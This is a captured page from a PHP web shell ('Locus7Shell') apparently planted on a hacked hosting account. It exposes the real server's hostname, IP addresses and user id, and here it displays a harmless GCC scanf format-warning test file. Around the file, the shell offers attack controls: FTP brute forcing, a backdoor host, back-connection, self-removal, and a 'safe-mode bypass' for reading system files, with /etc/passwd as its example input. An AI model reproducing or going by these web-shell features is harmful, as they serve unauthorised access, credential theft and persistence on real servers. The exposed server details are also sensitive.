Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/format/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     ext-7.c (3.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Test for scanf formats.  %a and %m extensions.  */
/* { dg-do compile } */
/* { dg-options "-std=gnu89 -Wformat" } */

#include "format.h"

void
foo (char **sp, wchar_t **lsp, int *ip, float *fp, void **pp, double *dp)
{
  /* %a formats for allocation, only recognized in C90 mode, are a
     GNU extension.  Followed by other characters, %a is not treated
     specially.
  */
  scanf ("%as", sp);
  scanf ("%aS", lsp);
  scanf ("%las", dp);
  scanf ("%la", lsp);    /* { dg-warning "but argument 2 has type" } */
  scanf ("%las", lsp);    /* { dg-warning "but argument 2 has type" } */
  scanf ("%a[bcd]", sp);
  scanf ("%la[bcd]", dp);
  scanf ("%*as");
  scanf ("%*aS");
  scanf ("%*las");    /* { dg-warning "assignment suppression and length modifier" } */
  scanf ("%*a[bcd]");
  scanf ("%*la[bcd]");    /* { dg-warning "assignment suppression and length modifier" } */
  scanf ("%10as", sp);
  scanf ("%5aS", lsp);
  scanf ("%9las", dp);
  scanf ("%25a[bcd]", sp);
  scanf ("%48la[bcd]", dp);
  scanf ("%*10as");
  scanf ("%*5aS");
  scanf ("%*9las");    /* { dg-warning "assignment suppression and length modifier" } */
  scanf ("%*25a[bcd]");
  scanf ("%*48la[bcd]"); /* { dg-warning "assignment suppression and length modifier" } */

  /* m assignment-allocation modifier, recognized in both C90
     and C99 modes, is a POSIX and ISO/IEC WDTR 24731-2 extension.  */
  scanf ("%ms", sp);
  scanf ("%mS", lsp);
  scanf ("%mls", lsp);
  scanf ("%m[bcd]", sp);
  scanf ("%ml[bcd]", lsp);
  scanf ("%mc", sp);
  scanf ("%mlc", lsp);
  scanf ("%mC", lsp);
  scanf ("%*ms");
  scanf ("%*mS");
  scanf ("%*mls");    /* { dg-warning "assignment suppression and length modifier" } */
  scanf ("%*m[bcd]");
  scanf ("%*ml[bcd]");    /* { dg-warning "assignment suppression and length modifier" } */
  scanf ("%*mc");
  scanf ("%*mlc");    /* { dg-warning "assignment suppression and length modifier" } */
  scanf ("%*mC");
  scanf ("%10ms", sp);
  scanf ("%5mS", lsp);
  scanf ("%9mls", lsp);
  scanf ("%25m[bcd]", sp);
  scanf ("%41ml[bcd]", lsp);
  scanf ("%131mc", sp);
  scanf ("%27mlc", lsp);
  scanf ("%2mC", lsp);
  scanf ("%*10ms");
  scanf ("%*5mS");
  scanf ("%*9mls");    /* { dg-warning "assignment suppression and length modifier" } */
  scanf ("%*25m[bcd]");
  scanf ("%*41ml[bcd]"); /* { dg-warning "assignment suppression and length modifier" } */
  scanf ("%*131mc");
  scanf ("%*27mlc");    /* { dg-warning "assignment suppression and length modifier" } */
  scanf ("%*2mC");

  scanf ("%md", ip);    /* { dg-warning "flag used with" } */
  scanf ("%mi", ip);    /* { dg-warning "flag used with" } */
  scanf ("%mo", ip);    /* { dg-warning "flag used with" } */
  scanf ("%mu", ip);    /* { dg-warning "flag used with" } */
  scanf ("%mx", ip);    /* { dg-warning "flag used with" } */
  scanf ("%me", fp);    /* { dg-warning "flag used with" } */
  scanf ("%mf", fp);    /* { dg-warning "flag used with" } */
  scanf ("%mg", fp);    /* { dg-warning "flag used with" } */
  scanf ("%mp", pp);    /* { dg-warning "flag used with" } */

  scanf ("%mas", sp);    /* { dg-warning "flag together" } */
  scanf ("%maS", lsp);    /* { dg-warning "flag together" } */
  scanf ("%ma[bcd]", sp);    /* { dg-warning "flag together" } */
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]--